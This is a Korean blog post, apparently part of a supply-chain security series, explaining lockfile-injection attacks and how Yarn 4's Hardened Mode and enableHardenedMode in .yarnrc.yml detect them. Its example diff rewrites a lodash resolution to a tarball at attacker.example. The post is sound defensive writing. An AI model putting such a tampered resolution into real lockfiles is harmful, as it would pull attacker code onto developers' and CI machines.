Yarn 4 Hardened Mode로 lockfile 변조 공격 막기

들어가며

공급망 방어 시리즈에서 Dependabot cooldown과 npmMinimalAgeGate로 신규 악성 버전 유입을 막는 방법을 다뤘습니다. 하지만 cooldown이 막지 못하는 공격 표면이 하나 있습니다 — lockfile 자체가 변조되는 경우입니다.

이 글에서는 그 위험과, Yarn 4의 Hardened Mode가 이를 어떻게 차단하는지 정리합니다.

어떤 위험이 있는가: lockfile 변조

yarn.lock이나 package-lock.json은 의존성의 정확한 버전·해시·resolution(다운로드 경로)을 기록합니다. 보통 이것은 “재현 가능한 빌드”를 위한 도구로 인식되지만, 공급망 보안 관점에서는 공격 표면이기도 합니다.

공격자가 lockfile에 접근해서 다음과 같은 수정을 가할 수 있다면:

  "[email protected]":
    version: 4.17.21
-   resolution: "lodash@npm:4.17.21"
+   resolution: "lodash@https://attacker.example/lodash-4.17.21.tgz"
-   checksum: <정상 해시>
+   checksum: <악성 tarball 해시>

설치 시점에 Yarn은 lockfile에 기록된 URL에서 tarball(패키지의 소스 코드와 메타데이터를 압축한 .tgz 파일 — npm 패키지는 이 형식으로 배포됩니다)을 받아오고, 기록된 해시와 일치하는지 확인하기만 합니다. 즉, lockfile만 변조하면 npm 레지스트리를 거치지 않고도 임의의 코드를 사용자의 머신에 흘려보낼 수 있습니다.

이 공격이 성립할 수 있는 시나리오는 다음과 같습니다.

악의적 PR: 외부 contributor가 PR로 lockfile을 살짝 수정하면서 합법적인 의존성 업그레이드처럼 위장. 리뷰어가 lockfile 라인 수천 줄에서 한 줄의 URL 변경을 놓치는 경우.
개발자 PC 침해: 한 명의 개발자 PC가 침해되어 lockfile에 악성 resolution이 주입된 채 커밋되는 경우.
CI 단계 침해: CI 캐시나 빌드 스텝이 침해되어 빌드 직전 lockfile이 교체되는 경우.

이런 공격은 cooldown으로 막을 수 없습니다. cooldown은 “신규 게시된 npm 버전을 며칠 기다린다”는 시간 기반 필터이지, lockfile의 내용 자체가 정직한지는 검증하지 않기 때문입니다.

Hardened Mode가 막는 방식

Yarn 4의 Hardened Mode는 매 yarn install 시점에 다음을 강제 검증합니다.

Resolution 검증: lockfile에 적힌 모든 패키지의 resolution이 공식 npm 레지스트리에 실제로 존재하는 동일한 버전과 일치하는가?
메타데이터 일관성: 패키지 이름·버전·의존성 트리가 레지스트리가 응답하는 메타데이터와 일치하는가?
무결성 해시: 다운로드된 tarball의 해시가 lockfile의 checksum과 일치하는가?

위의 변조 예시(resolution을 공격자 URL로 바꾼 경우)는 첫 번째 검증에서 즉시 실패합니다. 공식 npm 레지스트리의 [email protected] resolution과 lockfile의 resolution이 다르기 때문입니다.

기본적으로 Hardened Mode는 CI 환경(CI=true)에서 자동으로 활성화됩니다. 그러나 로컬 개발 환경에서는 기본적으로 꺼져 있어, 개발자 PC에서 lockfile이 변조된 채 커밋되는 시나리오는 잡지 못합니다. 그래서 .yarnrc.yml에 명시적으로 활성화하는 것이 안전합니다.

실제 사례로 보는 적용 효과

이런 공격이 실제로 발생할까요? 두 가지 사례를 들 수 있습니다.

1. Liran Tal의 “lockfile injection” 연구

Snyk의 Liran Tal은 2022년 Lockfile Injection 연구에서, package-lock.json/yarn.lock이 코드 리뷰의 사각지대가 되는 패턴을 분석했습니다. 핵심 관찰은 다음과 같습니다.

개발자들은 lockfile 변경을 자동 생성된 결과로 간주하고 자세히 들여다보지 않는다. 그러나 lockfile은 “어디서 tarball을 받아올지”까지 기록하기 때문에, 한 줄만 바꿔도 의존성 전체의 출처를 바꿀 수 있다.

Hardened Mode는 이 사각지대를 검증 단계에서 메꿉니다. lockfile에 적힌 resolution이 공식 레지스트리의 그것과 일치하지 않으면 설치가 거부됩니다.

2. Yarn 자체의 도입 동기

Yarn 팀이 Hardened Mode를 도입한 RFC 에서 직접 언급한 동기는 다음과 같습니다.

CI에서 yarn install을 실행할 때, 우리는 lockfile이 정직하다고 가정한다. 그러나 lockfile은 PR을 통해 변경 가능한 텍스트 파일이다. 그 가정을 검증하지 않으면, 합법적인 PR로 위장한 공급망 공격을 막을 수 없다.

즉, Hardened Mode는 가정적인 위협이 아니라, 패키지 매니저 개발자 본인들이 실재한다고 판단한 위협을 막기 위한 장치입니다.

어떻게 적용하는가

.yarnrc.yml에 한 줄을 추가합니다.

# .yarnrc.yml
enableHardenedMode: true
npmMinimalAgeGate: 7d   # cooldown — 이미 적용했다면 그대로

설정이 제대로 적용되었는지는 다음으로 확인할 수 있습니다.

yarn config get enableHardenedMode
# true

CI에서는 CI=true가 설정된 환경이라면 별도 작업 없이 자동 활성화되지만, 로컬 환경에서도 동일하게 동작하도록 명시하는 것이 좋습니다.

부수 효과

Hardened Mode를 켜면 설치가 다소 느려집니다. 매 패키지마다 레지스트리 메타데이터 조회가 추가로 일어나기 때문입니다. 일반적인 모노레포에서 체감 가능한 수준이지만, 보안 이득과 비교하면 충분히 감내할 만합니다. 정확한 영향은 프로젝트의 의존성 개수에 비례합니다.

한계

Hardened Mode가 만능은 아닙니다. 다음 경우에는 무력합니다.

npm 레지스트리 자체가 침해된 경우: 공식 레지스트리가 변조된 메타데이터를 반환하면, lockfile과의 비교는 일치하지만 실제로는 악성입니다. 이 시나리오는 npm 운영진 차원의 사고가 됩니다.
공격자가 lockfile과 함께 정상 패키지를 새로 게시해버린 경우: 공격자가 자기 명의의 패키지를 npm에 publish해서, lockfile의 resolution과 일치하도록 만들 수 있다면 무력합니다. 이 경우는 cooldown이 다른 층에서 막아 줍니다.
이미 의존 트리에 들어와 있는 정상 패키지의 새 버전이 악성인 경우: 신규 게시 자체는 정상 절차이므로 Hardened Mode가 잡을 수 없습니다. 이건 cooldown의 영역입니다.

그래서 Hardened Mode는 cooldown과 서로 다른 공격 표면을 막는 한 쌍으로 운영되어야 합니다. cooldown은 신규 게시 단계를, Hardened Mode는 lockfile 정직성을 각각 책임집니다.

마무리

Hardened Mode는 .yarnrc.yml 한 줄로 도입되는 가장 가벼운 공급망 방어 중 하나이지만, lockfile이라는 — 평소 검토에서 거의 무시되는 — 사각지대를 검증해 준다는 점에서 ROI가 큽니다. 특히 외부 contributor의 PR을 받는 오픈소스 프로젝트, 또는 모노레포에서 lockfile diff가 수천 줄에 이르는 환경에서는 사실상 필수입니다.

공급망 공격 방어 시리즈에서 다룬 SHA 핀닝·cooldown·npmMinimalAgeGate와 함께 운영하면, 신규 게시 단계와 설치 단계 양쪽에서 이중 방어가 됩니다.